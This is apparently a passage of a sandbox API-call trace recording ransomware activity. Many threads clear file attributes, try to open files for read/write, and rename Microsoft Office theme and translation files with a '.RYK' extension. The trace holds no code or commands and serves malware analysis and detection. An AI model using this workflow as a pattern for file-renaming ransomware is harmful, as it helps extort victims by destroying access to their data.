	[0172.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.025] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.025] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 534
	os_tid = 0x384

	[0172.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF", dwFileAttributes=0x80) returned 0
	[0172.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.428] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.429] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 535
	os_tid = 0xfe8

	[0172.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0172.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.653] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.654] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 536
	os_tid = 0xdec

	[0172.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0172.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.599] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.599] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 537
	os_tid = 0x788

	[0172.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM", dwFileAttributes=0x80) returned 0
	[0172.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.602] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.602] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 538
	os_tid = 0x898

	[0172.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF", dwFileAttributes=0x80) returned 0
	[0173.076] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.077] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.077] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 539
	os_tid = 0x97c

	[0172.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0173.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.078] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.078] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 540
	os_tid = 0xb4c

	[0172.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0173.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.080] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.080] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 541
	os_tid = 0xb3c

	[0172.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM", dwFileAttributes=0x80) returned 0
	[0173.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.081] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.082] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 542
	os_tid = 0xba0

	[0172.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF", dwFileAttributes=0x80) returned 0
	[0173.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.083] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.083] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 543
	os_tid = 0xb5c

	[0172.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0173.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.085] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.085] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 545
	os_tid = 0x1008

	[0173.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0173.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.411] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.419] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 546
	os_tid = 0x100c

	[0173.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM", dwFileAttributes=0x80) returned 0
	[0173.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.429] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.430] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 547
	os_tid = 0x1010

	[0173.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", dwFileAttributes=0x80) returned 0
	[0173.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.436] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.436] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 548
	os_tid = 0x1014

	[0173.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0173.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.425] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 549
	os_tid = 0x1018

	[0173.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", dwFileAttributes=0x80) returned 0
	[0173.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.440] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.441] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 550
	os_tid = 0x101c

	[0173.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0173.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.431] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.432] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 551
	os_tid = 0x1020

	[0173.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0173.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.433] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.434] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 552
	os_tid = 0x1024

	[0173.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", dwFileAttributes=0x80) returned 0
	[0173.441] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.442] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.442] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 553
	os_tid = 0x1028

	[0173.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", dwFileAttributes=0x80) returned 0
	[0173.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.443] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.444] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 554
	os_tid = 0x102c

	[0173.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0173.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.951] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.951] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 556
	os_tid = 0x1040

	[0173.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0173.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.761] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.761] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 557
	os_tid = 0x1044

	[0173.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM", dwFileAttributes=0x80) returned 0
	[0173.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.764] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.764] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 558
	os_tid = 0x1050

	[0173.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", dwFileAttributes=0x80) returned 0
	[0173.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0173.989] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0173.989] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 561
	os_tid = 0x1060

	[0174.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", dwFileAttributes=0x80) returned 0
	[0174.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0174.061] CloseHandle (hObject=0xffffffffffffffff) returned 0
